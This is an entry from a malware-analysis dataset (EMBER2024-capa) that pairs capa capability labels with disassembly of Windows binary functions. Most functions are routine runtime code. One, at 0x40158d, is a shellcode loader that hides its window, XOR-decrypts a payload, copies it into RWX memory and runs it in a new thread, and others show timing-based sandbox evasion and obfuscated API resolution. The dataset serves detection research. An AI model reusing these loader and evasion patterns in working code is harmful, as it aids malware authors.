joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003499
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x50
xorps xmm0, xmm0
lea rsi, [rsp + 0x20]
movaps xmmword [rsi + 0x20], xmm0
movaps xmmword [rsi + 0x10], xmm0
movaps xmmword [rsi], xmm0
mov rcx, rsi
call sub.KERNEL32.dll_GetSystemInfo
mov eax, dword [rsi + 0x28]
add rsp, 0x50
pop rsi
ret

Function at 0x140003b50
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
mov rsi, rcx
test r9, r9
je 0x140003b93
mov r15, r9
mov r14, r8
mov rbx, qword [rsp + 0x100]
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x140003bb0

Function at 0x1400053ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400053f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400053f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400053f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400053f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400053f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400053f8
xor al, al
add rsp, 0x28
ret

Function at 0x14000967c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000946c
Function at 0x14000c6e0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000c710
xor eax, eax
jmp 0x14000c7d3
mov rbp, rbx
cmp word [rax], si
je 0x14000c735
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000c71c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000c718
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000c630
movsxd r14, eax
test eax, eax
jne 0x14000c773
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000c709
mov rcx, r14
call fcn.14000d594
mov rdi, rax
test rax, rax
jne 0x14000c78c
xor ecx, ecx
call fcn.14000acc0
jmp 0x14000c768
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000c630
test eax, eax
jne 0x14000c7bd
mov rcx, rdi
call fcn.14000acc0
jmp 0x14000c7c7
xor ecx, ecx
call fcn.14000acc0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000fc9c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000b734
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000fd26
cmp byte [rbp - 0x21], r15b
je 0x14000fd21
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000fd5c
call fcn.14000ddb4
test eax, eax
jne 0x14000fd48
cmp byte [rbp - 0x21], r15b
je 0x14000fd40
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000fd5c
cmp byte [rbp - 0x21], r15b
je 0x14000fd59
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000ad10
test eax, eax
jne 0x14000fdfc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000b734
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000fd9b
cmp byte [rbp - 0x21], r15b
je 0x14000fdd0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000fdd0
call fcn.14000ddb4
test eax, eax
jne 0x14000fdbc
cmp byte [rbp - 0x21], r15b
je 0x14000fdb5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000fdd0
cmp byte [rbp - 0x21], r15b
je 0x14000fdcd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000ad10
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000fdfc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000fdff
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000fe0d
mov rcx, rdi
call fcn.14000acc0
cmp byte [rbp + 0x3f], r15b
je 0x14000fe1c
mov rcx, qword [rbp + 0x27]
call fcn.14000acc0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004202e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x004202f0]
mov dword [rax], 1
mov rax, qword [0x00420300]
mov dword [rax], 1
mov rax, qword [0x004202d0]
mov dword [rax], 1
mov rax, qword [0x004201a0]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010d0
mov rax, qword [0x004202c0]
mov dword [0x00423020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00420280]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x00420260]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00420150]
cmp dword [rax], 1
je 0x401108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401120
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401540
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 4], eax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cmp eax, 0x3e7
jg 0x401582
mov eax, 0
jmp 0x401587
mov eax, 1
add rsp, 0x30
pop rbp
ret
Function at 0x40158d
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Hide graphical window
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x37ce0
call fcn.00402740
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x37c50], rax
mov rax, qword [rbp + 0x37c50]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rcx, str.to0s515gh0d.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x37c48], rax
cmp qword [rbp + 0x37c48], 0
je 0x4015fb
mov eax, 0
jmp 0x401782
call sym.l4oyah6yn6o
test eax, eax
je 0x40177d
mov qword [rbp + 0x37c40], 0
mov ecx, 0x5f5e100
call sym.malloc
mov qword [rbp + 0x37c40], rax
cmp qword [rbp + 0x37c40], 0
je 0x40177d
mov rax, qword [rbp + 0x37c40]
mov r8d, 0x5f5e100
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x37c40]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp - 0x50]
lea rdx, [0x00404010]
mov ecx, 0x1be36
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x37c34], 0x766564
mov dword [rbp + 0x37c5c], 0
mov dword [rbp + 0x37c58], 0
jmp 0x4016e5
cmp dword [rbp + 0x37c5c], 3
jne 0x4016a9
mov dword [rbp + 0x37c5c], 0
mov eax, dword [rbp + 0x37c58]
cdqe
movzx edx, byte [rbp + rax - 0x50]
mov eax, dword [rbp + 0x37c5c]
cdqe
movzx eax, byte [rbp + rax + 0x37c34]
xor edx, eax
mov eax, dword [rbp + 0x37c58]
cdqe
mov byte [rbp + rax + 0x1bdf0], dl
add dword [rbp + 0x37c5c], 1
add dword [rbp + 0x37c58], 1
mov eax, dword [rbp + 0x37c58]
cmp eax, 0x1be35
jbe 0x401696
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1be36
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x37c38], rax
mov rax, qword [rbp + 0x37c38]
mov rcx, rax
lea rax, [rbp + 0x1bdf0]
mov edx, 0x1be36
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x37c38]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
call sym.l4oyah6yn6o
test eax, eax
jne 0x40176d
mov eax, 0
jmp 0x401782
mov eax, 0
add rsp, 0x37ce0
pop rbp
ret

Function at 0x401a60
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x401ad0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x004230c4]
mov r12, rcx
test ebx, ebx
jle 0x401c00
mov rax, qword [0x004230c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x401b1c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401ba3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x401b00
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x401c22
mov rax, qword [0x004230c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004230c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401c07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401b9c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x401bb0
add dword [0x004230c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x004230c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401b9c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x401b27
mov rax, qword [0x004230c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x4020f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00423120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00423100]
test rbx, rbx
je 0x402144
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40213b
test r12, r12
je 0x40213b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402120
lea rcx, [0x00423120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402360
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x402378
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x402380
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402390
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x4023dc
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x4023d3
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x4023de
add rax, 0x28
cmp rax, r9
jne 0x4023c0
xor eax, eax
ret

Function at 0x4023e0
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x402470
mov rdx, qword [0x004201a0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x40245e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x40245e
cmp word [rax + 0x18], 0x20b
jne 0x40245e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402470
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x402449
add r12, 0x28
cmp r12, rsi
je 0x402470
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x402440
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x402480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x004201a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x4024a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x4024a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4024a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x4024f5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x4024ec
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4024a0
add rax, 0x28
cmp rax, r9
jne 0x4024d8
xor eax, eax
ret

Function at 0x402500
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004201a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402520
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x402528
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x402520
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x402540
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x004201a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x402560
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x402568
ret
cmp word [rdx + 0x18], 0x20b
jne 0x402560
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x4025a8
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x40259f
test rcx, rcx
je 0x402560
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x402590
xor eax, eax
ret

Function at 0x4025b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004201a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4025d0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x4025d8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x4025f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x004201a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402610
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x402618
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x402610
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x402610
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402654
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402668
add rax, 0x28
cmp r9, rax
jne 0x402640
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x402680
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x004201a0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x4026a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x4026b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4026a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x4026a2
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x4026a2
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x4026fd
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x402710
add rdx, 0x28
cmp r10, rdx
jne 0x4026e8
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x40271f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x40272f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x402706
test ecx, ecx
jg 0x402718
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x98a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0098a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x98a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x98a06f
add dl, dl
jne 0x98a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x98a0f6
xor eax, eax
add dl, dl
jne 0x98a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x98a1ad
add dl, dl
jne 0x98a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x98a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x98a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x98a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x98a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x98a07e
mov eax, 1
add dl, dl
jne 0x98a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x98a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x98a0fb
sub eax, ebx
mov ebx, 1
jne 0x98a14c
mov ecx, 1
add dl, dl
jne 0x98a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x98a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x98a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x98a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x98a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x98a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x98a15d
cmp eax, 0x7d00
jae 0x98a19b
cmp eax, 0x500
jb 0x98a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x98a07e
cmp eax, 0x7f
ja 0x98a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x98a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x98a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x98a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x155030
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
je 0x155040
jne 0x155040
sub rsp, 0x28
mov rax, qword [rdx]
cmp dword [rax + 0x8c], 0
je 0x1550eb
mov rsi, qword [rdx + 8]
mov edi, dword [rax + 0x88]
cmp dword [rdi + rsi + 0x18], 0
je 0x155088
jne 0x155088
je 0x490951b6
add r12, rsi
add rbx, rsi
je 0x1550eb
cmp dword [rsi + rdi + 0x14], 0
je 0x1550eb
mov r15, r8
mov r13, rcx
mov ebx, dword [rsi + rdi + 0x20]
mov r12d, dword [rsi + rdi + 0x24]
je 0x155069
jne 0x155069
je 0x74d8afeb
and eax, 0x44e92375
mov esi, dword [rcx + rax]
Function at 0x162790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x1627c0
mov eax, dword [rax + 0x20]
mov dword [rdi + 0x38], eax
mov rcx, rbx
mov rdx, rsi
call r15
mov rcx, rdi
jmp 0x162870
xor r14d, r14d
xor edx, edx
jmp 0x1628ff
mov rax, qword [rcx]
jmp 0x16280b
push r15
je 0x1628f6
jne 0x1628f6
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
jmp 0x1628de
mov rcx, rbp
jmp 0x1628b1
mov r15, qword [sym.imp.itmkl_beo_UteNpt2HgazewrUmZvtjloS]
je 0x1627d2
jne 0x1627d2
jmp 0xffffffffff17b34d
mov rax, qword [rcx]
call qword [rax + 0x30]
jmp 0x162796
call qword [rax + 8]
je 0x162914
jne 0x162914
jmp 0x16d508
jmp 0x1628cc
call qword [rax + 0x20]
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
call qword [rax + 8]
test eax, eax
je 0x16287d
jne 0x16287d
por mm3, qword [rdx - 0x17]
je 0x1627ed
jne 0x1627ed
je 0xffffffff8425d62d
jmp 0x162821
sub rsp, 0x28
mov rdi, rcx
je 0x16290b
jmp 0x162932
push rdi
push rbp
push rbx
jmp 0x162845
je 0x162920
mov rax, qword [rcx]
jmp 0x1627ad
call fcn.00163060
jmp 0x16295e
jmp 0xceac90
je 0x16293b
je 0x16294f
jne 0x16294f
je 0xffffffff8d9a3819
je 0x162925
add byte [rax], al
add byte [rax - 0x75], cl
outsd dx, dword [rsi]
adc byte [rdi], cl
test ch, cl
add byte [rax], al
add byte [rdi], cl
test edi, eax
add byte [rax], al
add byte [rax - 0x7b], cl
leave
mov rbp, qword [rdi + 0x10]
je 0x16296f
jne 0x16296f
test rcx, rcx
jmp 0x16285e
call qword [rax + 0x18]
lea edx, [rax + 1]
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x20]
mov rcx, qword [rdi + 0x10]
jmp 0x1627bb
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call qword [rax + 0x30]
test rax, rax
je 0x16293b
mov rcx, qword [rdi + 0x10]
je 0x162801
jne 0x162801
push r14
push rsi
jmp 0x162857
je 0x162842
jne 0x162842
mov rcx, qword [rcx + 0x10]
je 0x1628a8
jne 0x1628a8
jmp 0x101e99d
test eax, eax
jmp 0x162918
jne 0x1627e0
jmp 0x16293b
xor r14d, r14d
jmp 0x16293b
je 0x162935
jne 0x162935
jmp 0x16287c
jne 0x16290b
jmp 0x17e77a
mov r14d, 1
mov eax, r14d
jmp 0x162942
je 0x16281b
jne 0x16281b
jmp 0x3875b69b
lea rbx, [rdi + 0x38]
lea rsi, [rdi + 0x3c]
jmp 0x1627f5
cmp eax, 1
je 0x162892
jne 0x162892
je 0x5bb4bb
mov rax, qword [rbp]
jmp 0x162838
invalid
add al, ah
dec dword [rbp + 0x29]
imul r9, rbx, 0xa2c13
Function at 0x178de0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [rdx]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x1c], eax
lea rax, [rdx + 0x10]
cmp r8d, 0x100
cmovne rax, rdx
lea r8, str.expand_32_byte_kexpand_16_byte_k
lea r9, [0x0018fbe0]
cmove r9, r8
mov edx, dword [rax]
mov dword [rcx + 0x20], edx
mov edx, dword [rax + 4]
mov dword [rcx + 0x24], edx
mov edx, dword [rax + 8]
mov dword [rcx + 0x28], edx
mov eax, dword [rax + 0xc]
mov dword [rcx + 0x2c], eax
mov dword [rcx], 0x61707865
